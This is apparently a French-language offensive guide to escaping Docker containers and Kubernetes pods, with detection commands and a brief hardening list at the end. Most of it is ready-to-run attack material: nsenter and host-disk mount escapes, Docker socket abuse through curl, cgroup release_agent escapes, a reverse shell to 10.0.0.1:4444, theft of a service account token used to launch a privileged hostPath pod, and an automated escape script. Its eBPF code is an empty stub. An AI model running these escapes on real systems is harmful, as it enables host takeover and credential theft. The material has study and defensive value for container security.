| name | container-escape |
| description | Guide complet d'évasion de conteneur Docker — CVE exploitation, mount escape, capabilities abuse, cgroup escape, eBPF, seccomp bypass, nsenter, et outils. |
| category | cybersecurite |
| tags | ["container","docker","escape","privileged","cgroup","eBPF","seccomp","kubernetes","linux-namespaces"] |
Évasion de Conteneur (Container Escape)
Sommaire
- Linux Namespaces et Conteneurs
- Mode Privileged
- Mount Escape
- Capabilities Abuse
- Cgroup Escape
- eBPF Attacks
- Seccomp Bypass
- Docker Socket Mount
- Kubernetes Node Escape
- Outils
Linux Namespaces et Conteneurs
Vérification de l'environnement conteneurisé :
cat /proc/1/cgroup | grep -i docker
cat /proc/1/cgroup | grep -i kubepods
cat /proc/self/mountinfo | grep -i docker
ls /.dockerenv 2>/dev/null && echo "Docker container"
ls -la /proc/self/ns/
cat /proc/1/environ
cat /proc/self/cgroup
mount | grep cgroup
Mode Privileged
Un conteneur privilégié (--privileged) a TOUS les capabilities et accès
direct au host.
Détection :
cat /proc/self/status | grep CapEff
capsh --print | grep -i current
ls -la /dev/
cat /proc/self/status | grep Cap
Escape depuis un conteneur privilégié :
mkdir /tmp/host
mount -t proc none /tmp/host/proc
nsenter --target 1 --mount --uts --ipc --pid -- bash
fdisk -l
mkdir /mnt/host
mount /dev/sda1 /mnt/host
chroot /mnt/host bash
Script d'escape privilégié :
#!/bin/bash
nsenter --target 1 --mount --uts --ipc --pid -- /bin/bash 2>/dev/null
if [ $? -eq 0 ]; then
echo "[+] nsenter réussi !"
exit 0
fi
mkdir -p /mnt/host
for dev in $(ls /dev/sd* /dev/vd* /dev/nvme* 2>/dev/null); do
mount $dev /mnt/host 2>/dev/null && echo "[+] Monté: $dev" && chroot /mnt/host /bin/bash
done
Mount Escape
Avec /var/run/docker.sock monté :
ls -la /var/run/docker.sock
docker run -v /:/host -it alpine chroot /host /bin/bash
curl -s --unix-socket /var/run/docker.sock \
-X POST -H "Content-Type: application/json" \
-d '{"Image":"alpine","Cmd":["chroot","/host","/bin/bash"],"Binds":["/:/host"]}' \
http://localhost/containers/create
curl --unix-socket /var/run/docker.sock \
-X POST http://localhost/containers/<ID>/start
Avec mount d'un device host :
mount | grep /dev
cat /proc/mounts
mkdir /tmp/roots
mount /dev/sda1 /tmp/roots
chroot /tmp/roots bash
Capabilities Abuse
Capabilities exploitables :
CAP_SYS_ADMIN → mount, nsenter, accès complet
CAP_NET_ADMIN → modifier les règles réseau
CAP_SYS_PTRACE → ptrace sur les processus host
CAP_SYS_RAWIO → accès mémoire (/dev/mem)
CAP_DAC_OVERRIDE→ bypass permissions fichiers
CAP_SYS_MODULE → charger des modules kernel
Détection des capabilities :
cat /proc/self/status | grep Cap
capsh --print
capsh --decode=00000000a80425fb
Escape via CAP_SYS_ADMIN :
mkdir /tmp/cgroup
mount -t cgroup -o memory cgroup /tmp/cgroup
mkdir /tmp/cgroup/x
echo 1 > /tmp/cgroup/x/notify_on_release
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "$host_path/cmd" > /tmp/cgroup/x/release_agent
echo '#!/bin/bash' > /cmd
echo "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1" >> /cmd
chmod +x /cmd
sh -c "echo \$\$ > /tmp/cgroup/x/cgroup.procs"
Escape via CAP_SYS_PTRACE :
apt-get update && apt-get install -y gdb
gdb -p 1
Cgroup Escape
Via release_agent (CAP_SYS_ADMIN requis) :
mkdir /tmp/cgrp
mount -t cgroup -o memory cgroup /tmp/cgrp 2>/dev/null
if [ $? -eq 0 ]; then
mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
HOST_PATH=$(mount | grep -oP 'upperdir=\K[^,]*' | head -1)
echo '#!/bin/bash' > /escape.sh
echo "id > ${HOST_PATH}/output" >> /escape.sh
chmod +x /escape.sh
echo "/escape.sh" > /tmp/cgrp/release_agent
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
cat /output 2>/dev/null && echo "[+] Cgroup escape réussi !"
fi
eBPF Attacks
Détection :
ls /sys/fs/bpf/
cat /proc/sys/kernel/unprivileged_bpf_disabled
Exploitation via eBPF (CAP_BPF ou accès à /sys/fs/bpf) :
#include <linux/bpf.h>
#include <bpf/libbpf.h>
SEC("kprobe/sys_execve")
int kprobe_exec(struct pt_regs *ctx) {
}
clang -O2 -target bpf -c ebpf_escape.c -o ebpf_escape.o
bpftool prog load ebpf_escape.o /sys/fs/bpf/escape
bpftool prog attach pinned /sys/fs/bpf/escape kprobe
Seccomp Bypass
Détection de seccomp :
cat /proc/self/status | grep Seccomp
cat /proc/self/status | grep Seccomp
Bypass si seccomp est permissif :
strace -c ls /tmp 2>&1 | head -20
Docker Socket Mount
Détection :
ls -la /var/run/docker.sock 2>/dev/null
ls -la /run/docker.sock 2>/dev/null
docker ps 2>/dev/null && echo "[+] Docker CLI disponible"
Escape via Docker socket :
docker run -it --rm -v /:/host alpine chroot /host /bin/bash
docker run --rm --privileged -v /:/host alpine chroot /host bash
curl -s --unix-socket /var/run/docker.sock \
-X POST http://localhost/containers/create \
-H "Content-Type: application/json" \
-d '{
"Image": "busybox",
"Cmd": ["/bin/sh"],
"HostConfig": {
"Binds": ["/:/mnt:rw"],
"Privileged": true,
"PidMode": "host"
}
}'
Kubernetes Node Escape
Depuis un pod Kubernetes :
env | grep -i kubernetes
cat /var/run/secrets/kubernetes.io/serviceaccount/token
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
APISERVER="https://kubernetes.default.svc"
curl -k -H "Authorization: Bearer $TOKEN" $APISERVER/api/v1/nodes
curl -k -H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-X POST $APISERVER/api/v1/namespaces/default/pods \
-d '{
"apiVersion": "v1",
"kind": "Pod",
"metadata": {"name": "escape-pod"},
"spec": {
"containers": [{
"name": "escape",
"image": "alpine",
"command": ["chroot", "/host", "/bin/bash"],
"volumeMounts": [{"name": "host", "mountPath": "/host"}],
"securityContext": {"privileged": true}
}],
"volumes": [{"name": "host", "hostPath": {"path": "/"}}],
"automountServiceAccountToken": true,
"hostPID": true
}
}'
Outils
amicontained (détection) :
git clone https://github.com/genuinetools/amicontained.git
go build -o amicontained
./amicontained
Deepce (Docker Exploitation) :
git clone https://github.com/stealthcopter/deepce.git
cd deepce
chmod +x deepce.sh
./deepce.sh --quick
./deepce.sh --full
CDK (Container Defense Kit) :
git clone https://github.com/cdk-team/CDK.git
cd cdk
./cdk evaluate
./cdk run mount-disk
./cdk run docker-sock-check
./cdk reverse 10.0.0.1 4444
Script d'escape automatisé :
#!/bin/bash
echo "[*] Vérification environnement..."
cat /proc/1/cgroup 2>/dev/null
cat /proc/self/status | grep Cap
echo "[*] Test nsenter..."
nsenter --target 1 --mount --uts --ipc --pid -- /bin/bash -c "id" && echo "[+] nsenter OK"
echo "[*] Test mount..."
fdisk -l 2>/dev/null | grep /dev/
echo "[*] Test Docker socket..."
ls -la /var/run/docker.sock 2>/dev/null && echo "[+] Docker socket disponible"
echo "[*] Test cgroup..."
mount -t cgroup -o memory cgroup /tmp/cgrp 2>/dev/null && echo "[+] Cgroup exploitable"
echo "[*] Test release_agent..."
if [ -f /sys/fs/cgroup/memory/notify_on_release ]; then
echo "[+] notify_on_release accessible"
fi
Protections
- Ne pas utiliser
--privileged en production
- Minimiser les capabilities (dropper
--cap-drop=ALL --cap-add=NEEDED)
- SELinux/AppArmor profiles renforcés
- Seccomp profiles restrictifs (bloquer mount, clone, unshare)
- Read-only root filesystem (
--read-only)
- No new privileges (
--security-opt=no-new-privileges)
- User namespace remapping (userns-remap)
- Pod Security Standards (Kubernetes : Baseline/Restricted)
Ressources